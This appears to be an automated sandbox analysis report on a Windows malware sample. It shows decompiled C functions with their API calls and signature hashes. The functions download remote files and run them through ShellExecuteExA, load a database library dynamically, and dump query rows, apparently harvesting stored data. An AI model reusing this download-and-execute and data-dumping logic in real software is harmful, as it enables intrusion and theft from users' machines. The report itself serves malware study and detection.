				lstrcatA( &_v1324, _t45);
				_t116 =  *0x41ff6c; // 0x8ac460
				lstrcatA( &_v1324, _t116);
				_t97 =  *0x41f8cc; // 0x8b27d8
				lstrcatA( &_v1324, _t97);
				_t50 =  *0x41fb14; // 0x8ae9d8
				lstrcatA( &_v268, _t50);
				_t118 =  *0x41ff6c; // 0x8ac460
				lstrcatA( &_v268, _t118);
				_t99 =  *0x41fb60; // 0x8b26a0
				lstrcatA( &_v268, _t99);
				_t55 =  *0x41fb14; // 0x8ae9d8
				lstrcatA( &_v796, _t55);
				_t120 =  *0x41ff6c; // 0x8ac460
				lstrcatA( &_v796, _t120);
				_t101 =  *0x41f840; // 0x8b26b8
				lstrcatA( &_v796, _t101);
				_t60 =  *0x41fb14; // 0x8ae9d8
				lstrcatA( &_v1588, _t60);
				_t122 =  *0x41ff6c; // 0x8ac460
				lstrcatA( &_v1588, _t122);
				_t103 =  *0x41fdac; // 0x8b27f0
				lstrcatA( &_v1588, _t103);
				_t65 =  *0x41fb14; // 0x8ae9d8
				lstrcatA( &_v532, _t65);
				_t124 =  *0x41ff6c; // 0x8ac460
				lstrcatA( &_v532, _t124);
				_t105 =  *0x41fdd8; // 0x8b2808
				lstrcatA( &_v532, _t105);
				_t70 =  *0x41fb14; // 0x8ae9d8
				lstrcatA( &_v1060, _t70);
				_t126 =  *0x41ff6c; // 0x8ac460
				lstrcatA( &_v1060, _t126);
				_t107 =  *0x41fe1c; // 0x8ac260
				lstrcatA( &_v1060, _t107);
				_t75 =  *0x41fa9c; // 0x8af528
				E004048E0( &_v1324, _t75);
				_t128 =  *0x41fdf8; // 0x8af618
				E004048E0( &_v268, _t128);
				_t109 =  *0x41f9d0; // 0x8af5f0
				E004048E0( &_v796, _t109);
				_t80 =  *0x41fe74; // 0x8ac480
				E004048E0( &_v1588, _t80);
				_t130 =  *0x41fc54; // 0x8af488
				E004048E0( &_v532, _t130);
				_t111 =  *0x41fea8; // 0x8af640
				E004048E0( &_v1060, _t111);
				E0040B2C0( &_v1324, 0x104);
				E0040B2C0( &_v268, 0x104);
				E0040B2C0( &_v796, 0x104);
				E0040B2C0( &_v1588, 0x104);
				E0040B2C0( &_v532, 0x104);
				return E0040B2C0( &_v1060, 0x104);
			}

0x00405075
0x00405086
0x00405097
0x004050a8
0x004050b9
0x004050ca
0x004050cf
0x004050dc
0x004050e2
0x004050f0
0x004050f6
0x00405104
0x0040510a
0x00405117
0x0040511d
0x0040512b
0x00405131
0x0040513f
0x00405145
0x00405152
0x00405158
0x00405166
0x0040516c
0x0040517a
0x00405180
0x0040518d
0x00405193
0x004051a1
0x004051a7
0x004051b5
0x004051bb
0x004051c8
0x004051ce
0x004051dc
0x004051e2
0x004051f0
0x004051f6
0x00405203
0x00405209
0x00405217
0x0040521d
0x0040522b
0x00405231
0x0040523e
0x00405246
0x00405254
0x0040525c
0x0040526a
0x00405272
0x0040527f
0x00405287
0x00405295
0x0040529d
0x004052ab
0x004052bf
0x004052d0
0x004052e1
0x004052f2
0x00405303
0x0040531c

APIs

lstrcatA.KERNEL32(?,008AE9D8,?,00000104,?,00000104,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004050DC
lstrcatA.KERNEL32(?,008AC460), ref: 004050F0
lstrcatA.KERNEL32(?,008B27D8), ref: 00405104
lstrcatA.KERNEL32(?,008AE9D8), ref: 00405117
lstrcatA.KERNEL32(?,008AC460), ref: 0040512B
lstrcatA.KERNEL32(?,008B26A0), ref: 0040513F
lstrcatA.KERNEL32(?,008AE9D8), ref: 00405152
lstrcatA.KERNEL32(?,008AC460), ref: 00405166
lstrcatA.KERNEL32(?,008B26B8), ref: 0040517A
lstrcatA.KERNEL32(?,008AE9D8), ref: 0040518D
lstrcatA.KERNEL32(?,008AC460), ref: 004051A1
lstrcatA.KERNEL32(?,008B27F0), ref: 004051B5
lstrcatA.KERNEL32(?,008AE9D8), ref: 004051C8
lstrcatA.KERNEL32(?,008AC460), ref: 004051DC
lstrcatA.KERNEL32(?,008B2808), ref: 004051F0
lstrcatA.KERNEL32(?,008AE9D8), ref: 00405203
lstrcatA.KERNEL32(?,008AC460), ref: 00405217
lstrcatA.KERNEL32(?,008AC260), ref: 0040522B

Part of subcall function 004048E0: InternetOpenA.WININET(004187CE,00000001,00000000,00000000,00000000), ref: 004048FD

Part of subcall function 004048E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 0040492D
Part of subcall function 004048E0: CreateFileA.KERNEL32(008AF6E0,40000000,00000003,00000000,00000002,00000080,00000000), ref: 0040494C
Part of subcall function 004048E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404975
Part of subcall function 004048E0: WriteFile.KERNEL32(008AF6E0,?,00000000,?,00000000), ref: 004049A3
Part of subcall function 004048E0: FindCloseChangeNotification.KERNEL32(008AF6E0,?,00000400), ref: 004049F1
Part of subcall function 004048E0: InternetCloseHandle.WININET(?), ref: 004049FB
Part of subcall function 004048E0: InternetCloseHandle.WININET(00000000), ref: 00404A08

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$Internet$CloseFile$HandleOpen$ChangeCreateFindNotificationReadWrite
String ID:
API String ID: 918959446-0
Opcode ID: 4241ab6650515aed1ff19ad84484c0512aa70af92f1e4fa7d2c10621b0d53687
Instruction ID: 0df58fc19f7a995453a5206795a9352383a4caf80198640fda0ef1e489e292bc
Opcode Fuzzy Hash: 4241ab6650515aed1ff19ad84484c0512aa70af92f1e4fa7d2c10621b0d53687
Instruction Fuzzy Hash: 9B6179BA510218ABC715EBA0EC85EEA337CBB5C300F4485BEB20592151DB75A689CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00434093, Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434122
_get_int64_arg.LIBCMTD ref: 0043414A
__aullrem.LIBCMT ref: 004342EF
__aulldiv.LIBCMT ref: 00434311
_write_multi_char.LIBCMTD ref: 00434418
_write_string.LIBCMTD ref: 00434433
_write_multi_char.LIBCMTD ref: 0043445F
_wctomb_s.LIBCMTD ref: 004344DC

Strings

9, xrefs: 00434322
-, xrefs: 004343B8

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: 08b1b65726efadbaed911b08bb8be496be8063043f62998682792325fdcac063
Instruction ID: d686131d920e42177ec6823d57e586410f1e7bda0c51f6be66f05eee55e5c4b1
Opcode Fuzzy Hash: 08b1b65726efadbaed911b08bb8be496be8063043f62998682792325fdcac063
Instruction Fuzzy Hash: 37F12BB1D012299FDB24CF55CC99BEEB7B5BB88304F1491DAE409A7281D738AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00435435, Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004354CA
_get_int64_arg.LIBCMTD ref: 004354F2
__aullrem.LIBCMT ref: 0043569A
__aulldiv.LIBCMT ref: 004356BC
_write_multi_char.LIBCMTD ref: 004357D5
_write_string.LIBCMTD ref: 004357F0
_write_multi_char.LIBCMTD ref: 0043581C
__mbtowc_l.LIBCMTD ref: 0043588B

Strings

9, xrefs: 004356CD

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 63775a696629f460983044919f619fccdd30186f85fa86b08661e382fe82ba1b
Instruction ID: c5bb3163606690bd972c9da4a3802af0c1ea33e1d29e7746df589187991dca8f
Opcode Fuzzy Hash: 63775a696629f460983044919f619fccdd30186f85fa86b08661e382fe82ba1b
Instruction Fuzzy Hash: 09F13AB1E006299FDB24CF55CC81BAEB7B5FF88314F14919AE509A7241D738AE84CF19

Uniqueness

Uniqueness Score: -1.00%

Function 004112F0, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004112F0(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411200(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411200(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411200(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411240(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411304
0x0041130b
0x00000000
0x0041130d
0x0041131a
0x0041131d
0x0041132a
0x00411332
0x00411332
0x0041133b
0x00411343
0x00411343
0x0041134c
0x00411354
0x00411354
0x0041135d
0x00411365
0x00411365
0x0041136e
0x00411376
0x00411376
0x0041137f
0x00411397
0x00411381
0x0041138a
0x0041138a
0x004113a3
0x004113ac
0x004113b8
0x004113b8
0x004113c7
0x004113ce
0x004113de
0x004113f4
0x00411404
0x0041141a
0x0041142a
0x00411443
0x00411459
0x00411466
0x0041148c
0x0041148c
0x00411466
0x0041142a
0x00411493
0x0041149b
0x0041149b
0x004114a1
0x004114a9
0x004114a9
0x004114af
0x004114b5
0x004114b9
0x004114c1
0x004114c4
0x004114c6
0x004114c9
0x004114d1
0x004114d9
0x004114dc
0x004114df
0x004114e2
0x004114ea
0x004114ef
0x004114f2
0x004114f5
0x004114f8
0x004114f8
0x004114ff
0x00411511
0x00411529
0x00411529
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 004112FE
GetFileSize.KERNEL32(00000000,00000000), ref: 004113C1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004113DE
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 004113F4
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411404
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041141A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411443

Strings

PE, xrefs: 0041147A
(, xrefs: 004113CA

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: cc5c8ac3ff03c2d545470c1c1c8c53ca2de5831f67c74638b7808f041dbe1015
Instruction ID: 32cd131e61c8f15075dad81642e803b9139fbaa094a05a754bb13186547f135b
Opcode Fuzzy Hash: cc5c8ac3ff03c2d545470c1c1c8c53ca2de5831f67c74638b7808f041dbe1015
Instruction Fuzzy Hash: EA813EB1E10208EFEB14CFD8D885BEEBBB5FF48700F548159E615AB294D7349A81CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00433DF7, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00433DFB
__get_printf_count_output.LIBCMTD ref: 00433E09
_write_multi_char.LIBCMTD ref: 00434418
_write_string.LIBCMTD ref: 00434433
_write_multi_char.LIBCMTD ref: 0043445F
_wctomb_s.LIBCMTD ref: 004344DC

Strings

-, xrefs: 004343B8

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 532768033-2547889144
Opcode ID: a726c5e499c087c1442486fbc1d857eda8f775e3fc74d2cc7df28433bed413e4
Instruction ID: ad75c6151945244d80184c16b18f005613e5c5ffaa577bc91a4be3f69bfdd134
Opcode Fuzzy Hash: a726c5e499c087c1442486fbc1d857eda8f775e3fc74d2cc7df28433bed413e4
Instruction Fuzzy Hash: 70A180B1D012299FDB24DF55CC49BEEB7B0AB88305F1091DAE5196B281D778AEC0CF19

Uniqueness

Uniqueness Score: -1.00%

Function 004074C0, Relevance: 13.6, APIs: 9, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E004074C0(intOrPtr _a4) {
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char* _t15;
				struct HINSTANCE__* _t19;
				CHAR* _t22;
				struct HINSTANCE__* _t24;
				CHAR* _t27;
				CHAR* _t35;
				CHAR* _t36;
				struct HINSTANCE__* _t37;
				CHAR* _t38;
				struct HINSTANCE__* _t39;
				intOrPtr _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;

				if(_a4 == 0) {
					return 0;
				}
				_t15 =  *0x41f7e4; // 0x8b2b58
				_v8 = getenv(_t15);
				if(_v8 != 0) {
					_push(0);
					_push(_a4);
					_v12 = E0040BA50(_a4, _v8, ";");
					_push(0);
					_t41 =  *0x41fefc; // 0x8b2b48
					_putenv(E0040BA50(_t41, _t41, _v12));
					_v16 = _v12;
					E0040B150(_v16);
				}
				_t35 =  *0x41fe74; // 0x8ac480
				 *0x41ffcc = LoadLibraryA(_t35);
				if( *0x41ffcc != 0) {
					_t42 =  *0x41fa5c; // 0x8b4400
					_t19 =  *0x41ffcc; // 0x0
					 *0x41ffc4 = GetProcAddress(_t19, _t42);
					_t36 =  *0x41fdd0; // 0x8b44a8
					_t43 =  *0x41ffcc; // 0x0
					 *0x41ffe8 = GetProcAddress(_t43, _t36);
					_t22 =  *0x41f964; // 0x8b3ad8
					_t37 =  *0x41ffcc; // 0x0
					 *0x41ff94 = GetProcAddress(_t37, _t22);
					_t44 =  *0x41f8dc; // 0x8b41d8
					_t24 =  *0x41ffcc; // 0x0
					 *0x41ffbc = GetProcAddress(_t24, _t44);
					_t38 =  *0x41ff5c; // 0x8b3d98
					_t45 =  *0x41ffcc; // 0x0
					 *0x41ffd0 = GetProcAddress(_t45, _t38);
					_t27 =  *0x41fb04; // 0x8b4340
					_t39 =  *0x41ffcc; // 0x0
					 *0x41ffb4 = GetProcAddress(_t39, _t27);
				}
				if( *0x41ffc4 == 0 ||  *0x41ffe8 == 0 ||  *0x41ff94 == 0 ||  *0x41ffd0 == 0 ||  *0x41ffb4 == 0 ||  *0x41ffbc == 0) {
					_v20 = 0;
				} else {
					_v20 = 1;
				}
				return _v20;
			}

0x004074ca
0x00000000
0x0040762f
0x004074d0
0x004074df
0x004074e6
0x004074e8
0x004074ed
0x004074ff
0x00407502
0x00407508
0x00407518
0x00407524
0x0040752b
0x00407530
0x00407533
0x00407540
0x0040754c
0x00407552
0x00407559
0x00407565
0x0040756a
0x00407571
0x0040757e
0x00407583
0x00407589
0x00407596
0x0040759b
0x004075a2
0x004075ae
0x004075b3
0x004075ba
0x004075c7
0x004075cc
0x004075d2
0x004075df
0x004075df
0x004075eb
0x00407623
0x0040761a
0x0040761a
0x0040761a
0x00000000

APIs

getenv.MSVCRT ref: 004074D6
_putenv.MSVCRT ref: 00407518
LoadLibraryA.KERNEL32(008AC480), ref: 0040753A
GetProcAddress.KERNEL32(00000000,008B4400), ref: 0040755F
GetProcAddress.KERNEL32(00000000,008B44A8), ref: 00407578
GetProcAddress.KERNEL32(00000000,008B3AD8), ref: 00407590
GetProcAddress.KERNEL32(00000000,008B41D8), ref: 004075A8
GetProcAddress.KERNEL32(00000000,008B3D98), ref: 004075C1
GetProcAddress.KERNEL32(00000000,008B4340), ref: 004075D9

Part of subcall function 0040BA50: new[].LIBCMTD ref: 0040BAB0

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$LibraryLoad_putenvgetenvnew[]
String ID:
API String ID: 1997414909-0
Opcode ID: a9e1853a123f7834bd12614e718a2c1226fda09c562c1f5d51ee5c9042fd94d4
Instruction ID: c752ac5989f2ab252d5c0fe75b396dabef4109d406a5f79a2539bcb59b33b407
Opcode Fuzzy Hash: a9e1853a123f7834bd12614e718a2c1226fda09c562c1f5d51ee5c9042fd94d4
Instruction Fuzzy Hash: 7E4107B1A04600DFD714DFA8ED49BAA77B5E749300F00C53AE506933A1D3B9A94BCF59

Uniqueness

Uniqueness Score: -1.00%

Function 00433C45, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00433C49
_write_multi_char.LIBCMTD ref: 00434418
_write_string.LIBCMTD ref: 00434433
_write_multi_char.LIBCMTD ref: 0043445F
_wctomb_s.LIBCMTD ref: 004344DC

Strings

-, xrefs: 004343B8

Memory Dump Source

Source File: 00000016.00000002.525001968.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: _write_multi_char$_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 557302112-2547889144
Opcode ID: bd35cdffb4eec219e1d14746ac1d83fde7564b5d8d3a078a24b0cbb279ba62db
Instruction ID: 17196be2b77bf0414f0e60db6ff34157b022497108b12dc9f0f30c90c4e576d2
Opcode Fuzzy Hash: bd35cdffb4eec219e1d14746ac1d83fde7564b5d8d3a078a24b0cbb279ba62db
Instruction Fuzzy Hash: 3CA19EB5D012289FDB24DF54CC49BEEB7B0AB88305F1491DAE5096B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405740, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 110
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405740(void* __eflags, char* _a4) {
				char* _v8;
				char _v276;
				char _v540;
				char _v804;
				CHAR* _v808;
				struct _SHELLEXECUTEINFOA _v868;
				char* _v872;
				char* _t44;
				CHAR* _t52;
				intOrPtr _t81;
				void* _t84;
				void* _t85;

				_t44 = strtok(_a4, "|");
				_t85 = _t84 + 8;
				_v808 = _t44;
				_v8 = 1;
				E0040B2C0( &_v540, 0x104);
				E0040B2C0( &_v804, 0x104);
				E0040B2C0( &_v276, 0x104);
				while(_v808 != 0) {
					_v872 = _v8;
					if(_v872 == 1) {
						lstrcatA( &_v540, _v808);
					} else {
						if(_v872 == 2) {
							lstrcatA( &_v804, _v808);
						} else {
							if(_v872 == 3) {
								lstrcatA( &_v276, _v808);
								E004048E0( &_v540,  &_v804);
								_t85 = _t85 + 8;
								E0040B280( &_v868,  &_v868, 0, 0x3c);
								_v868.cbSize = 0x3c;
								_v868.fMask = 0;
								_v868.hwnd = 0;
								_t81 =  *0x41fe3c; // 0x8aeaa8
								_v868.lpVerb = _t81;
								_v868.lpFile =  &_v804;
								_v868.lpParameters =  &_v276;
								_v868.lpDirectory = 0;
								_v868.nShow = 5;
								_v868.hInstApp = 0;
								ShellExecuteExA( &_v868);
								E0040B280( &_v276,  &_v868, 0, 0x3c);
								E0040B2C0( &_v804, 0x104);
								E0040B2C0( &_v276, 0x104);
								E0040B2C0( &_v540, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 =  &(_v8[1]);
					_t52 = strtok(0, "|");
					_t85 = _t85 + 8;
					_v808 = _t52;
				}
				return E0040B2C0( &_v808, 4);
			}

0x00405752
0x00405758
0x0040575b
0x00405761
0x00405774
0x00405785
0x00405796
0x0040579b
0x004057ab
0x004057b8
0x004057df
0x004057ba
0x004057c1
0x004057f8
0x004057c3
0x004057ca
0x00405811
0x00405825
0x0040582a
0x00405838
0x0040583d
0x00405847
0x00405851
0x0040585b
0x00405861
0x0040586d
0x00405879
0x0040587f
0x00405889
0x00405893
0x004058a4
0x004058b5
0x004058c6
0x004058d7
0x004058e8
0x004058ed
0x004058ed
0x004057ca
0x004057c1
0x004058fa
0x00405904
0x0040590a
0x0040590d
0x0040590d
0x00405929

APIs

strtok.MSVCRT ref: 00405752
lstrcatA.KERNEL32(?,00000000,?,00000104,?,00000104,?,00000104), ref: 004057DF
lstrcatA.KERNEL32(?,00000000), ref: 004057F8
strtok.MSVCRT ref: 00405904

Strings

<, xrefs: 0040583D

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcatstrtok
String ID: <
API String ID: 1040823752-4251816714
Opcode ID: 9dc1d02ad34a8e330927239cefe720157f64aa232185955e162069edfa19ab00
Instruction ID: d7c4496f9df01d394f2839e46d460212c19ba8fff4a4b99bf02bd58227635da5
Opcode Fuzzy Hash: 9dc1d02ad34a8e330927239cefe720157f64aa232185955e162069edfa19ab00
Instruction Fuzzy Hash: 85411CB590031CEBDB26EB50CC49BDEB778AB08304F4445EEE20976191D7795B88CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00414166, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00414166(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x41da78);
				E004146B0(__ebx, __edi, __esi);
				_t31 = E00413914(__ebx, __edx, _t35);
				_t15 =  *0x41ea7c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00413BD7(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x41e920; // 0x41e4f8
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0x41e4f8;
								if(__eflags != 0) {
									E0041489F(_t33);
								}
							}
						}
						_t21 =  *0x41e920; // 0x41e4f8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x41e920; // 0x41e4f8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00414201();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					_push(0x20);
					E00414B03(_t29, _t38);
				}
				return E004146F5(_t33);
			}

0x00414166
0x00414166
0x00414166
0x00414166
0x00414168
0x0041416d
0x00414177
0x00414179
0x00414181
0x004141a2
0x004141a8
0x004141ac
0x004141af
0x004141b2
0x004141b8
0x004141ba
0x004141bc
0x004141c5
0x004141c7
0x004141c9
0x004141cf
0x004141d2
0x004141d7
0x004141cf
0x004141c7
0x004141d8
0x004141dd
0x004141e0
0x004141e6
0x004141ea
0x004141ea
0x004141f0
0x004141f7
0x00414189
0x00414189
0x00414189
0x0041418c
0x0041418e
0x00414190
0x00414192
0x00414197
0x0041419f

APIs

__getptd.LIBCMT ref: 00414172

Part of subcall function 00413914: __getptd_noexit.LIBCMT ref: 00413917
Part of subcall function 00413914: __amsg_exit.LIBCMT ref: 00413924

__amsg_exit.LIBCMT ref: 00414192
__lock.LIBCMT ref: 004141A2
InterlockedDecrement.KERNEL32(?), ref: 004141BF
_free.LIBCMT ref: 004141D2
InterlockedIncrement.KERNEL32(0041E4F8), ref: 004141EA

Strings

Pqt, xrefs: 004141EA

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID: Pqt
API String ID: 3470314060-1071902136
Opcode ID: 04feb05ac75521912e75aad46df81c08ed9428649f5fd2c316d0502aad74fd17
Instruction ID: fb57b15df175e1dd7a646195925a47db225c6bf9e2202e08434e537310241aaa
Opcode Fuzzy Hash: 04feb05ac75521912e75aad46df81c08ed9428649f5fd2c316d0502aad74fd17
Instruction Fuzzy Hash: D00100B1941721ABDB10AF6698097DA77A0BF98725F10401BEC1467381C73CA9C1CBED

Uniqueness

Uniqueness Score: -1.00%

Function 00408F80, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00408F80(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				void* _v280;
				CHAR* _v284;
				CHAR* _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				CHAR* _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B2C0( &_v268, 0x104);
				_t30 =  *0x41fbb8; // 0x8b3bf8
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41ffd8(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41f83c; // 0x8a95a0
					_t35 =  *0x41ff90(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41ffb0(_v276);
						return  *0x41ffdc(_v272);
					}
					_v280 = HeapAlloc(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41ffac(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41ffc8(_v276, 0);
						_t48 =  *0x41ffc8(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						lstrcatA(_v280, _v288);
						lstrcatA(_v280, "\t");
						lstrcatA(_v280, _v284);
						lstrcatA(_v280, "\n");
					}
					E004133B0(_a16,  &_v268, _v280,  *0x42009c(_v280));
					_t76 = _t79 + 0x10;
					E0040B2C0( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408f95
0x00408fa2
0x00408faf
0x00408fc3
0x00408fc9
0x00408fce
0x00408fdf
0x00408fed
0x00408ff3
0x00408ff8
0x004090e8
0x004090ef
0x00000000
0x00409105
0x00409012
0x00409018
0x0040901f
0x00409025
0x0040902b
0x00000000
0x00000000
0x00409043
0x00409052
0x00409058
0x0040905b
0x0040906f
0x00409081
0x00409095
0x004090a7
0x004090a7
0x004090d2
0x004090d7
0x004090e3
0x00000000
0x004090e3
0x0040910b

APIs

wsprintfA.USER32 ref: 00408FAF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409005
HeapAlloc.KERNEL32(00000000), ref: 0040900C
lstrcatA.KERNEL32(?,?), ref: 0040906F
lstrcatA.KERNEL32(?,0041D92C), ref: 00409081
lstrcatA.KERNEL32(?,?), ref: 00409095
lstrcatA.KERNEL32(?,0041D304), ref: 004090A7
lstrlen.KERNEL32(?), ref: 004090B9

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

